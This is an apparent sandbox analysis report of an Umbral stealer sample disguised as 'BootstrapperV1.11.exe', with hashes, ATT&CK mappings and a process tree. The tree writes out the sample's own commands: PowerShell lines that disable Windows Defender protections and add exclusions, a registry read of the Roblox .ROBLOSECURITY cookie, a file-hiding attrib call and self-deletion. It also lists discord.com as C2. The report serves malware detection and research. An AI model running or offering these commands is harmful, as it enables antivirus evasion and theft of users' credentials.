umbral | 2133a2c5f4a04d8ffe1ea436d035917ad16c50fa011b021c95c71f2660e67033

Analysis

max time kernel
13s
max time network
19s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
03-08-2024 11:12

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General

Target

BootstrapperV1.11.exe
Size

229KB
MD5

224b37147484176752b12af33b9efd96
SHA1

d2fbb87ff49e0e80e8585b449fac349688d02f23
SHA256

2133a2c5f4a04d8ffe1ea436d035917ad16c50fa011b021c95c71f2660e67033
SHA512

e374e69dad1b3ad39887163e6c8cd07a88e36b167b91b0eeb8a5296f7345ea4c97e6e8e009193b321524f5326118900933e4657b0177b702036525d42c508704
SSDEEP

6144:9loZM+rIkd8g+EtXHkv/iD4lePZsyVtG/TOMdRYz7b8e1m4i:foZtL+EP8lePZsyVtG/TOMdRYDu

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2948-1-0x0000000000C60000-0x0000000000CA0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2780	powershell.exe
2620	powershell.exe
1484	powershell.exe
1240	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	BootstrapperV1.11.exe

Deletes itself 1 IoCs

pid	Process
2580	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	discord.com
7	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2248	PING.EXE
2580	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1732	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2248	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2948	BootstrapperV1.11.exe
2780	powershell.exe
2620	powershell.exe
1484	powershell.exe
1836	powershell.exe
1240	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2948	BootstrapperV1.11.exe
Token: SeIncreaseQuotaPrivilege	1260	wmic.exe
Token: SeSecurityPrivilege	1260	wmic.exe
Token: SeTakeOwnershipPrivilege	1260	wmic.exe
Token: SeLoadDriverPrivilege	1260	wmic.exe
Token: SeSystemProfilePrivilege	1260	wmic.exe
Token: SeSystemtimePrivilege	1260	wmic.exe
Token: SeProfSingleProcessPrivilege	1260	wmic.exe
Token: SeIncBasePriorityPrivilege	1260	wmic.exe
Token: SeCreatePagefilePrivilege	1260	wmic.exe
Token: SeBackupPrivilege	1260	wmic.exe
Token: SeRestorePrivilege	1260	wmic.exe
Token: SeShutdownPrivilege	1260	wmic.exe
Token: SeDebugPrivilege	1260	wmic.exe
Token: SeSystemEnvironmentPrivilege	1260	wmic.exe
Token: SeRemoteShutdownPrivilege	1260	wmic.exe
Token: SeUndockPrivilege	1260	wmic.exe
Token: SeManageVolumePrivilege	1260	wmic.exe
Token: 33	1260	wmic.exe
Token: 34	1260	wmic.exe
Token: 35	1260	wmic.exe
Token: SeIncreaseQuotaPrivilege	1260	wmic.exe
Token: SeSecurityPrivilege	1260	wmic.exe
Token: SeTakeOwnershipPrivilege	1260	wmic.exe
Token: SeLoadDriverPrivilege	1260	wmic.exe
Token: SeSystemProfilePrivilege	1260	wmic.exe
Token: SeSystemtimePrivilege	1260	wmic.exe
Token: SeProfSingleProcessPrivilege	1260	wmic.exe
Token: SeIncBasePriorityPrivilege	1260	wmic.exe
Token: SeCreatePagefilePrivilege	1260	wmic.exe
Token: SeBackupPrivilege	1260	wmic.exe
Token: SeRestorePrivilege	1260	wmic.exe
Token: SeShutdownPrivilege	1260	wmic.exe
Token: SeDebugPrivilege	1260	wmic.exe
Token: SeSystemEnvironmentPrivilege	1260	wmic.exe
Token: SeRemoteShutdownPrivilege	1260	wmic.exe
Token: SeUndockPrivilege	1260	wmic.exe
Token: SeManageVolumePrivilege	1260	wmic.exe
Token: 33	1260	wmic.exe
Token: 34	1260	wmic.exe
Token: 35	1260	wmic.exe
Token: SeDebugPrivilege	2780	powershell.exe
Token: SeDebugPrivilege	2620	powershell.exe
Token: SeDebugPrivilege	1484	powershell.exe
Token: SeDebugPrivilege	1836	powershell.exe
Token: SeIncreaseQuotaPrivilege	2104	wmic.exe
Token: SeSecurityPrivilege	2104	wmic.exe
Token: SeTakeOwnershipPrivilege	2104	wmic.exe
Token: SeLoadDriverPrivilege	2104	wmic.exe
Token: SeSystemProfilePrivilege	2104	wmic.exe
Token: SeSystemtimePrivilege	2104	wmic.exe
Token: SeProfSingleProcessPrivilege	2104	wmic.exe
Token: SeIncBasePriorityPrivilege	2104	wmic.exe
Token: SeCreatePagefilePrivilege	2104	wmic.exe
Token: SeBackupPrivilege	2104	wmic.exe
Token: SeRestorePrivilege	2104	wmic.exe
Token: SeShutdownPrivilege	2104	wmic.exe
Token: SeDebugPrivilege	2104	wmic.exe
Token: SeSystemEnvironmentPrivilege	2104	wmic.exe
Token: SeRemoteShutdownPrivilege	2104	wmic.exe
Token: SeUndockPrivilege	2104	wmic.exe
Token: SeManageVolumePrivilege	2104	wmic.exe
Token: 33	2104	wmic.exe
Token: 34	2104	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2948 wrote to memory of 1260	2948	BootstrapperV1.11.exe	29
PID 2948 wrote to memory of 1260	2948	BootstrapperV1.11.exe	29
PID 2948 wrote to memory of 1260	2948	BootstrapperV1.11.exe	29
PID 2948 wrote to memory of 2864	2948	BootstrapperV1.11.exe	32
PID 2948 wrote to memory of 2864	2948	BootstrapperV1.11.exe	32
PID 2948 wrote to memory of 2864	2948	BootstrapperV1.11.exe	32
PID 2948 wrote to memory of 2780	2948	BootstrapperV1.11.exe	34
PID 2948 wrote to memory of 2780	2948	BootstrapperV1.11.exe	34
PID 2948 wrote to memory of 2780	2948	BootstrapperV1.11.exe	34
PID 2948 wrote to memory of 2620	2948	BootstrapperV1.11.exe	36
PID 2948 wrote to memory of 2620	2948	BootstrapperV1.11.exe	36
PID 2948 wrote to memory of 2620	2948	BootstrapperV1.11.exe	36
PID 2948 wrote to memory of 1484	2948	BootstrapperV1.11.exe	38
PID 2948 wrote to memory of 1484	2948	BootstrapperV1.11.exe	38
PID 2948 wrote to memory of 1484	2948	BootstrapperV1.11.exe	38
PID 2948 wrote to memory of 1836	2948	BootstrapperV1.11.exe	40
PID 2948 wrote to memory of 1836	2948	BootstrapperV1.11.exe	40
PID 2948 wrote to memory of 1836	2948	BootstrapperV1.11.exe	40
PID 2948 wrote to memory of 2104	2948	BootstrapperV1.11.exe	42
PID 2948 wrote to memory of 2104	2948	BootstrapperV1.11.exe	42
PID 2948 wrote to memory of 2104	2948	BootstrapperV1.11.exe	42
PID 2948 wrote to memory of 2932	2948	BootstrapperV1.11.exe	44
PID 2948 wrote to memory of 2932	2948	BootstrapperV1.11.exe	44
PID 2948 wrote to memory of 2932	2948	BootstrapperV1.11.exe	44
PID 2948 wrote to memory of 2384	2948	BootstrapperV1.11.exe	46
PID 2948 wrote to memory of 2384	2948	BootstrapperV1.11.exe	46
PID 2948 wrote to memory of 2384	2948	BootstrapperV1.11.exe	46
PID 2948 wrote to memory of 1240	2948	BootstrapperV1.11.exe	48
PID 2948 wrote to memory of 1240	2948	BootstrapperV1.11.exe	48
PID 2948 wrote to memory of 1240	2948	BootstrapperV1.11.exe	48
PID 2948 wrote to memory of 1732	2948	BootstrapperV1.11.exe	50
PID 2948 wrote to memory of 1732	2948	BootstrapperV1.11.exe	50
PID 2948 wrote to memory of 1732	2948	BootstrapperV1.11.exe	50
PID 2948 wrote to memory of 2580	2948	BootstrapperV1.11.exe	52
PID 2948 wrote to memory of 2580	2948	BootstrapperV1.11.exe	52
PID 2948 wrote to memory of 2580	2948	BootstrapperV1.11.exe	52
PID 2580 wrote to memory of 2248	2580	cmd.exe	54
PID 2580 wrote to memory of 2248	2580	cmd.exe	54
PID 2580 wrote to memory of 2248	2580	cmd.exe	54

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2864	attrib.exe

C:\Users\Admin\AppData\Local\Temp\BootstrapperV1.11.exe
"C:\Users\Admin\AppData\Local\Temp\BootstrapperV1.11.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2948
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1260
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\BootstrapperV1.11.exe"
  2⤵
  - Views/modifies file attributes
  PID:2864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\BootstrapperV1.11.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1484
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1836
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2104
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2932
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1240
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1732
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\BootstrapperV1.11.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2580
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2248

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0CUPJQSVY6X4B0QFVZXW.temp

Filesize
7KB

MD5
59237c2599f51d6da256f97e0f2fdc98

SHA1
7c180cd2e2674360045e53196a18768d870c53f3

SHA256
2805eb4ca4663ec6784426095e7f159a7d53fbd97c74db7f62cc2e7d75bae4b1

SHA512
26cd020e08cdc356c24971c665f83cb9ee1264ed972b76a0e4aa0289cf89ab207da4f0a2c71a1daee815d341a0c9828edbf0ffd77a44d25e97c149c9639f3152

Download Submit
memory/1240-42-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download
memory/2620-14-0x000000001B380000-0x000000001B662000-memory.dmp

Filesize
2.9MB

Download
memory/2620-15-0x0000000002390000-0x0000000002398000-memory.dmp

Filesize
32KB

Download
memory/2780-8-0x0000000002420000-0x0000000002428000-memory.dmp

Filesize
32KB

Download
memory/2780-7-0x000000001B1C0000-0x000000001B4A2000-memory.dmp

Filesize
2.9MB

Download
memory/2948-0-0x000007FEF56E3000-0x000007FEF56E4000-memory.dmp

Filesize
4KB

Download
memory/2948-1-0x0000000000C60000-0x0000000000CA0000-memory.dmp

Filesize
256KB

Download
memory/2948-2-0x000007FEF56E0000-0x000007FEF60CC000-memory.dmp

Filesize
9.9MB

Download
memory/2948-46-0x000007FEF56E0000-0x000007FEF60CC000-memory.dmp

Filesize
9.9MB

Download